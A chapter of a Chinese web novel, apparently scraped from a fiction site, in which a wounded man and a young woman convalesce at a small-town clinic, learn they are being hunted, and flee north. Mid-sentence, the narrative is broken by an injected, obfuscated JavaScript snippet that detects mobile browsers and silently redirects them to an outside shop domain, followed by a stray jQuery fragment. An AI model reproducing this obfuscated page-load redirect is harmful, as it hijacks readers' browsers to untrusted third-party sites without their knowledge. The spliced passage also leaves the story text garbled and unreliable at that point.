文趣网 > 都市小说 > 冥缘嫁衣 > 6. 第 6 章
    第六章晨露

    晨光彻底漫过窗棂,将内堂照得一片透亮。药柜深色的木头纹理,地上青砖的细微裂痕,空气里浮动的、被阳光照亮的微尘,都清晰得有些陌生。邱莹莹趴在床沿,维持着那个别扭的姿势,睡了也许不到一个时辰,却像是沉入了最深的黑甜乡,连梦的边角都没有。

    是手心里细微的动静让她醒来的。林子服的手指,在她掌心极轻地蜷缩了一下,又放开。她猛地抬头,对上他已然睁开的、清明的眼睛。那眼里没了昨夜的涣散和高热带来的混沌,只剩下深不见底的疲惫,和一种劫后余生、近乎空茫的平静。

    “你醒了!”她的声音因为刚醒和激动而有些沙哑,立刻想起身去倒水,腿却麻得厉害,一个趔趄。

    林子服想抬手扶她,刚一动,腰间的剧痛就让他闷哼一声,额头瞬间渗出冷汗。

    “别动!”邱莹莹也顾不得腿麻,连忙按住他,“陈大夫说了,伤口太深,绝不能乱动。你渴不渴?饿不饿?我去弄点水,再问问有没有吃的。”

    “不急。”林子服的声音依旧嘶哑,但吐字清晰了些。他目光缓缓扫过这间陌生的屋子,落在窗外透亮的日光上,眼神有些恍惚。“这里…是清水镇?”

    “嗯,‘回春堂’,是昨天捎我们来的刘老汉指的路。陈大夫医术很高明,心肠也好,收留了我们。”邱莹莹简单解释着,走到桌边倒了杯温水,试了试温度,才小心地扶起他的头,一点点喂他喝下。

    温水润过干裂的喉咙,林子服轻轻吁了口气。他靠回枕上,看着邱莹莹眼下的乌青和脸上的疲惫,低声道:“辛苦你了。”

    “说什么傻话。”邱莹莹别过脸,掩饰发红的眼眶,转身去拿冷毛巾想给他擦脸,才发现毛巾早就焐热了。她正想出去换水,门帘被掀开,陈大夫端着一个托盘走了进来。

    “醒了?”陈大夫将托盘放在床边小几上,上面是一碗熬得稀烂的金黄小米粥,一碟切得极细的酱瓜,还有一碗黑乎乎的汤药。“正好,先把药喝了,过一刻钟再喝粥。你现在脾胃虚弱,只能吃些流质。”

    “多谢陈大夫。”林子服想撑起身道谢,又被陈大夫一个眼神制止。

    “躺着。”陈大夫语气没什么起伏,但动作利落地替他诊了脉,又检查了一下他腰间的纱布,见没有新的血迹渗出,面色稍霁。“脉象平稳多了,烧也退了。但内里亏虚得厉害,外伤更是马虎不得。至少卧床十日,不可下地。十日之后,视恢复情况,再慢慢活动。”

    他将药碗递过来。邱莹莹连忙接过,要喂林子服。林子服却自己伸手接过了碗,那碗在他虚弱的手中微微晃动,但他稳稳端住,仰头,眉头都没皱一下,将那一大碗苦涩的汤药一饮而尽。

    陈大夫眼中掠过一丝几不可察的赞许,没说什么,收了空碗,又将粥碗往邱莹莹那边推了推。“你喂他吃点。你也一夜没吃东西了,厨房锅里还有粥,自己去盛。吃完都歇着,有什么事叫阿升。”

    “是,多谢陈大夫。”邱莹莹连连道谢。

    陈大夫摆摆手,转身出去了,门帘落下,内堂里又只剩他们两人。阳光静静铺洒,药香氤氲,只有勺子轻碰碗沿的细微声响。邱莹莹一勺一勺,耐心地喂林子服喝粥。他吃得不多,小半碗就摇头表示够了。

    “再吃一点,你流了那么多血…”

    “饱了。”林子服闭了闭眼,似乎连说话都耗费力气,“你也去吃。然后…去休息。”

    邱莹莹知道拗不过他,自己确实也饿得前胸贴后背。她快速收拾了碗筷,去厨房胡乱喝了一碗粥,又打来热水,简单擦洗了一下脸上手上的血污,换了身陈大夫让阿升找来的、半旧的粗布衣裳,虽不合身,但干净清爽。

    她回到内堂时,林子服又睡着了。或许是药力,或许是身体透支到了极限,他睡得很沉,呼吸绵长。邱莹莹搬了张凳子坐在床边,就这么看着他。阳光移过他的脸颊,那张脸苍白得几乎透明,眼下有浓重的阴影,嘴唇依旧没什么血色。但眉头是舒展的,不再因痛苦而紧锁,像个疲倦至极的孩子。

    看着看着,连日奔逃的恐惧、地窖里的血腥、亲手终结一切的惨烈、以及此刻这陌生环境里微小的安宁…种种情绪混杂在一起,汹涌地冲上心头。她捂住嘴,将脸埋进膝盖,肩膀无声地耸动起来。没有嚎啕,只有压抑到极致的、断断续续的哽咽,泪水很快浸湿了粗糙的布料。

    她哭得小心翼翼,怕吵醒他,也怕惊动外间的陈大夫。不知过了多久,情绪才渐渐平复。她抬起头,用袖子胡乱抹了把脸,深吸几口气。不能倒下,现在还不是能放松哭泣的时候。林子服的伤要养,外婆的下落要打听,未来…未来更是一片茫茫。

    但至少,此刻,他们还活着,在一起,在一个相对安全的地方。这就有了喘息和筹划的余地。

    接下来的几日,日子过得简单而规律。林子服大部分时间都在昏睡,清醒的时间渐长。陈大夫每日两次来诊脉换药,开的汤药也根据他的恢复情况在调整。邱莹莹则负责照料他的起居,喂药喂饭,擦身换衣,寸步不离。

    陈大夫话不多,但每每诊断用药都极为精准严谨。他从未问过他们从何而来,因何受伤,只是默默地提供着庇护和治疗。那个叫阿升的小学徒,约莫十三四岁,手脚勤快,沉默寡言,除了抓药煎药打扫,就是埋头看医书。回春堂平日里病人不多,大多是些头疼脑热的街坊,整个医馆弥漫着一种与世无争的宁静。

    这种宁静,对刚从炼狱中逃出的两人来说,珍贵得近乎奢侈。但宁静之下,不安的暗流始终涌动。

    林子服夜里时常会惊醒。有时是猛地睁开眼,直勾勾盯着帐顶,浑身绷紧,呼吸急促,直到邱莹莹握住他的手,低声唤他名字,他才慢慢放松下来,眼神重新聚焦。有时,他会陷入短暂的梦魇,发出模糊不清的呓语,或是某个名字的片段,然后浑身冷汗地醒来,脸色比纸还白。每当这时,邱莹莹就握紧他的手,一遍遍告诉他“没事了,都过去了”,或是绞了冷毛巾给他擦汗,直到他重新沉沉睡去。

    他几乎不提地窖里发生的事,也不提林文柏。但邱莹莹知道,那一切从未远去,只是沉在了他眼底的最深处,成了挥之不去的底色。他清醒时,眼神常常是放空的,望着窗外某处,许久不动,不知道在想什么。只有和邱莹莹简短交谈,或是陈大夫来诊脉时,那眼神里才会短暂地凝聚起一点活气。

    邱莹莹自己也睡不安稳。稍微有点风吹草动就会惊醒,下意识地摸向怀里的命灯——灯盏一直贴身藏着,火焰温暖稳定,是她最大的慰藉,也是最大的牵挂。外婆怎么样了?舅妈发现命灯被偷,会是什么反应?林文松…他真的遭受反噬,无力再追了吗?这些问题像细密的针,时不时刺她一下。

    到第五日,林子服的精神好了许多,能靠着枕头坐一会儿了。陈大夫检查过伤口,说愈合得比预想中好,但叮嘱依然要静养。这天下午,阳光很好,陈大夫难得没有立刻离开,在床边的凳子上坐了下来,目光在两人脸上扫过,缓缓开口:

    “你们的伤,老夫能治。但心里的惊惧,气血的亏损,非一日之功。尤其是这位林公子,”他看向林子服,“你失血过多,元气大伤,心脉亦有震动之象,似受过极大的惊吓刺激。若不能宽心静养,徐徐图之,恐会落下病根,于寿数有碍。”

    林子服垂下眼睫,低声道:“晚辈明白。有劳陈大夫费心。”

    “费心谈不上,医者本分。”陈大夫捋了捋花白的胡须,话锋忽然一转,“不过,老夫在这清水镇行医四十余载,也算见过些世面。你们二人,年纪轻轻,却惹上这般要命的麻烦,那伤口…绝非寻常跌打损伤所致。老夫不问你们来历,但既收留了你们,有些话,不得不说。”

    邱莹莹和林子服的心同时提了起来,看向陈大夫。

    “清水镇虽小,却也是四通八达之地。南来北往的消息,传得不算慢。”陈大夫的声音压得很低,目光变得锐利,“这两日,镇上隐约有些风声,说南边林家村出了大事,先是祠堂走水,后是林家的二爷林文松突发恶疾,卧床不起,昏迷中胡言乱语,状若疯癫。林家正在重金悬赏,寻找名医,也…在打听两个人的下落。”

    邱莹莹的手猛地攥紧了衣角。林子服面色不变,但眼神骤然冷了下来。

    “悬赏的画像,老夫没亲眼看见。但描述的样貌,一男一女,年纪与你们相仿。”陈大夫看着他们,“林家在本地方圆百里,也算有些势力。林文松此人…老夫早年偶然听过他的一些传闻,非是良善之辈。你们既与他有瓜葛,又到了老夫这里,有些事,便不得不防。”

    室内一片寂静,只有窗外隐约传来的市井声。阳光依旧明亮,但邱莹莹却感到一股寒意从脚底升起。果然,林文松没死!而且,已经在找他们了!

    “陈大夫…”邱莹莹的声音有些发颤,“我们…”

    “不必多说。”陈大夫抬手制止,“老夫既然让你们留下,便不会此刻赶你们走。医者父母心,你的伤未愈,老夫断无将病人推出去之理。只是,你们需心中有数。回春堂并非铜墙铁壁,镇上人多眼杂。你们尽量少露面,尤其是你,”他看向邱莹莹,“姑娘家,抛头露面,更易引人注意。日常所需,让阿升去办即可。”

    “是,我们记下了。给陈大夫添麻烦了。”林子服沉声道,语气诚恳。

    “麻烦谈不上,只是提醒你们谨慎些。”陈大夫站起身,“林公子的伤,再静养五六日,应可勉强下地缓慢行走。届时,你们是去是留,还需早做打算。若留下,镇上人多,未必安全。若离开…你们可有稳妥的去处?”

    这个问题,像一块巨石,压在了两人心头。他们面面相觑,一时都沉默了。天下之大,竟不知何处是容身之所。

    陈大夫看着他们,摇了摇头,没再追问,只道:“先养伤吧。车到山前必有路。”说完,便撩帘出去了。

    内堂里重归安静,但方才那番话带来的沉重,却久久不散。

    “他果然没死。”林子服先开了口,声音很冷,带着一种近乎麻木的恨意,“突发恶疾,状若疯癫…是邪术反噬。但他根基还在,势力还在。”

    “他在找我们…”邱莹莹忧心忡忡,“清水镇离林家村不算太远,他若顺藤摸瓜…”

    “陈大夫说得对,这里不能久留。”林子服打断她,眼神迅速恢复了往日的锐利和冷静,尽管脸色依旧苍白,“我的伤,最多再养七八日,必须能走。我们要赶在他的人找到这里之前离开。”

    “去哪儿?”邱莹莹问出最现实的问题。他们身无长物,只有几块碎银子和几枚铜钱。林子服重伤未愈,她一个女子,又能带着他去哪里?

    林子服沉默了片刻,目光望向窗外,仿佛要穿透墙壁,看向更远的北方。“往北走。走得越远越好。去省城,或者…更北。我早年在外读书,认识一两个同窗,或许…可以投奔。只是时隔多年,不知他们是否还认我这个朋友,也不知…是否会给人家带去麻烦。”

    他的语气里充满了不确定。邱莹莹知道,这是眼下唯一能想到的、不是办法的办法了。

    “外

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805761|210711||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    婆…”她摸出怀里的命灯,灯焰温暖,“外婆的命灯还亮着,说明她暂时应该没事。可我们一走,离得更远,万一舅妈他们…”

    “你外婆的事,我们路上再想办法。”林子服看着她,眼神坚定,“但前提是,我们必须先活下来,有自保之力。留在这里,或是贸然回去,都是死路一条。莹莹,相信我,只要我还活着,一定会想办法救你外婆出来。但不是现在。”

    邱莹莹看着他的眼睛,那里面有不曾熄灭的火焰,有不容置疑的决心。她知道他说得对。莽撞的牺牲毫无意义。她用力点了点头:“嗯,我听你的。我们先离开这里,等你伤好了,再从长计议。”

    接下来的几日,两人心照不宣地加快了“准备”。邱莹莹几乎不再踏出内堂,连吃饭都是阿升送进来。她将所有能想到的细节在脑子里过了无数遍:路上需要什么药材、干粮、御寒的衣物、盘缠…陈大夫开的药方里有几味比较贵重的药材,她将剩下的碎银子几乎全换成了这些药,又托阿升悄悄去买了两套最普通的粗布棉衣,一些耐放的干粮饼子,一个结实的水囊,甚至还有一把防身用的、不起眼的小匕首。

    林子服则努力配合治疗,尽可能地进食,在邱莹莹的搀扶下,尝试着在床边缓慢站立、挪动几步。每一次起身,伤口都像被撕裂般疼痛,冷汗瞬间湿透衣衫,但他咬紧牙关,一声不吭。他让邱莹莹找来清水镇的简易地图,仔细研究北上的路线,计算着每日能走的大致路程,在哪里可以歇脚,哪里需要避开人多眼杂的城镇。

    陈大夫将他们的举动看在眼里,并未说破,只是默默地将林子服的汤药里,多加了几味益气固本、帮助伤口愈合的药材。在林子服能下地走动的第三天,陈大夫在诊脉后,忽然从怀里掏出一个灰布小包,放在床头。

    “这里面是三十两银子,是老夫这些年的些许积蓄。你们此去路途遥远,用钱的地方多。”陈大夫的声音依旧平淡,却不容拒绝。

    “陈大夫,这万万不可!”邱莹莹和林子服同时出声。三十两银子,对一个小镇医馆来说,绝不是小数目。

    “拿着。”陈大夫语气强硬,“权当是老夫借与你们的。他日若有机会,再还不迟。若没有…便当是结个善缘。”他看着林子服,目光深长,“林公子,你体内阴寒之气甚重,似是长期接触阴邪之物所致,又经此大创,非寻常药物可速愈。此去北方,若有机缘,可寻访擅长调理内息、驱除阴煞的医者或道门中人,或许对你日后身体有益。这是老夫能给你的,最后一点忠告。”

    林子服浑身一震,抬头看向陈大夫。这位老大夫看似不问世事,实则心如明镜。他郑重地抱拳,因为无力,动作有些僵硬:“陈大夫大恩,晚辈没齿难忘。他日若有机会,定当厚报。”

    陈大夫摆摆手,没再多言,起身出去了。

    第十日清晨,天刚蒙蒙亮,清水镇还笼罩在一片清冷的雾气中。林子服已经能扶着墙,缓慢地行走一小段距离了,虽然每一步仍伴随着疼痛和虚弱。邱莹莹将两人简单的行李打成一个包袱,里面是干粮、水、药、换洗衣物和那把匕首。陈大夫给的三十两银子,她分开藏在了身上最隐蔽的几处。

    阿升早早起来,熬好了今日的汤药,又默默端来两碗热粥和几个馒头。陈大夫没有出现,大概是不想面对离别的场面。

    两人沉默地吃完早饭。邱莹莹将内堂仔细收拾干净,床铺叠好,仿佛他们从未在此停留。然后,她搀扶着林子服,一步一步,挪出了回春堂的内堂。

    外间,陈大夫果然坐在诊桌后,就着晨光在看一本泛黄的医书。听到动静,他抬起头,目光在两人身上停留片刻,最后落在林子服虽然苍白但已有了些许生气的脸上。

    “走了?”他问。

    “走了。”林子服点头,“叨扰多日,多谢陈大夫救命收留之恩。”

    陈大夫放下书,从桌下拿出一个早已准备好的、鼓鼓囊囊的布包,递给邱莹莹:“里面是些应急的药材,金疮药、退热散、治腹泻风寒的成药,还有几贴祛除阴寒的膏药。用法用量都写在里头了。路上小心。”

    邱莹莹接过沉甸甸的布包,鼻子一酸,深深福了一礼:“陈大夫,您多保重。”

    陈大夫点了点头,重新拿起医书,不再看他们,只挥了挥手。

    阿升默默地帮他们拉开了医馆的门。清晨冷冽的空气立刻涌了进来,带着镇上早点摊子隐约的香气和车马行人的声响。

    邱莹莹最后看了一眼这间给予他们短暂庇护的古旧医馆,搀扶着林子服,一步踏入了门外的雾气与天光之中。

    街道上行人还不多,店铺大多未开。他们沿着陈大夫昨日指点的一条僻静小巷,向着镇北的方向慢慢走去。林子服走得很慢,很吃力,大半个身子的重量都倚在邱莹莹身上。邱莹莹咬紧牙关,稳稳地扶着他,每一步都踏得坚实。

    雾气渐渐被升起的日头驱散,清水镇的轮廓在身后越来越模糊。他们终于走出了镇口,踏上了北去的官道。

    路,在脚下延伸,通往未知的、布满迷雾的远方。寒风依旧刺骨,前路依旧艰难。但这一次,他们是并肩而行,向着有光的方向,哪怕那光微弱而遥远。

    身后,是燃烧的过往,是血色的噩梦,是再也回不去的故乡。

    身前,是漫长崎岖的生路,是未卜的明天,是彼此掌心那一点仅存的、不肯熄灭的温度。

    官道两旁的枯草上,凝结着晶莹的晨露,在初升的阳光下,闪着细碎而脆弱的光。

    新的一天,新的逃亡,开始了。